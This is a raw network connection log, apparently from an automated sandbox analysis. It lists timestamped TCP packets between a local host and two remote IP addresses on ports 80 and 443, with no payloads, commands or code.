Nov 15, 2024 13:18:29.873950958 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.874017000 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.874212027 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.874231100 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.874241114 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.874247074 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.877599955 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.877655983 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.877728939 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.877871037 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.877892971 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.886097908 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.886253119 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.886311054 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.886339903 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.886358976 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.886370897 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.886378050 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.887124062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.887181997 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.887211084 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.887217045 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.887264013 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.888803005 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.888834000 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.888891935 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.889060020 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.889075041 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.901940107 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.902003050 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.902128935 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.902152061 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.902158976 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.902172089 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.902177095 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.904177904 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.904217958 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.904285908 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.904419899 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.904433966 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.916670084 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.916733980 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.916788101 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.916793108 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.916837931 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.916872978 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.916887045 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.916999102 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.917089939 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.917109013 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.917120934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.917159081 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.917175055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.917210102 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.917248011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.917290926 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.923008919 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.923064947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.923094988 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.923115015 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.923151016 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.923154116 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.923183918 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.923217058 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.923245907 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.924264908 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.924312115 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.924318075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.924354076 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.924412966 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.924424887 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.924452066 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.924458981 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.924483061 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.924494028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.924527884 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.924531937 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.967108965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.967139959 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.967154980 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.967190027 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.967226028 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.967758894 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.967772961 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.967835903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.967843056 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.967850924 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.967878103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.967892885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.967905045 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.968055010 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968066931 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968081951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968121052 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968137026 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968151093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968337059 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968369961 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968384027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968420029 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.968492031 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.968559980 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968574047 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968589067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968595028 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.968677044 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968697071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968712091 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968733072 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968745947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.968790054 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.968802929 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.968802929 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.968970060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969012022 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.969017029 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969032049 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969067097 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.969091892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969105959 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969121933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969152927 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.969240904 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969254971 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969269991 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969284058 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.969290972 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969305992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969314098 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.969341040 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.969754934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969769001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969784975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969799995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969814062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.969856024 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.969856024 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.972320080 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.972909927 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.972923040 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.973421097 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.973423958 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.010787010 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.010804892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.010828018 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.010840893 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.010852098 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.010885954 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.054359913 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.059158087 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059231043 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059282064 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.059310913 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059355021 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059403896 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.059408903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059443951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059480906 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059494019 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.059534073 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059573889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059586048 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.059608936 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059664965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059711933 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.059715033 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059748888 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059762001 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.059802055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059938908 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.059963942 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.059999943 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.060034037 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.060050011 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.060067892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.060101032 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.060123920 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.060188055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.060221910 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.060235977 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.060256004 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.060290098 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.060317039 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.060326099 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.060374022 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.071816921 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.090388060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.090418100 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.090435028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.090476036 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.090944052 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.090990067 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.090993881 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091008902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091029882 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091124058 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.091249943 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091409922 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091428041 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091454029 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091464043 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.091484070 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.091499090 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091514111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091530085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091546059 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091552973 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.091577053 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.091583014 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091607094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091622114 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.091705084 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091722012 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091748953 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.091805935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091857910 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.091877937 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091897011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.091936111 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.091979027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092036009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092075109 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.092204094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092287064 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092303991 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092344999 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.092389107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092407942 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092427969 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.092530966 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092626095 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092664003 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.092679024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092719078 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.092767000 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092783928 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092809916 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092824936 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092842102 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092849016 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.092858076 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092873096 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.092875004 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092890024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092900991 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.092906952 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.092928886 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.093228102 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.093245029 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.093261003 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.093269110 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.093298912 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.093311071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.093415022 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.093430042 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.093457937 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.093467951 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.093502045 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.102703094 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.102768898 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.102848053 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.103200912 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.103218079 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.103231907 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.103238106 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.107336998 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.107369900 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.107527018 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.107614994 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.107620955 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.133398056 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.133445024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.133461952 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.133505106 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.152635098 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.153156996 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.153187990 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.153569937 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.153578043 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.182142019 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182167053 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182184935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182198048 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.182199955 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182216883 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182231903 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.182240009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182256937 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182256937 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.182306051 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182318926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182333946 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.182374001 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.182374001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182389975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182404041 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182430029 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.182528019 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182588100 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.182590961 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182607889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182635069 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182651043 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182657003 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.182706118 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.182853937 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182868958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182889938 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182910919 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.182945013 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182959080 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182976007 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182991028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.182993889 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.183005095 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.183017969 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.183049917 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.183487892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.183502913 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.183516979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.183547974 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.213433027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.213447094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.213485956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.213498116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.213500023 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.213536978 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.214024067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214082956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214096069 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214111090 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214150906 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.214150906 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.214556932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214571953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214589119 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214617014 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.214643002 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.214648008 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214663029 CET	80	49734	185.215.113.16	192.168.2.7
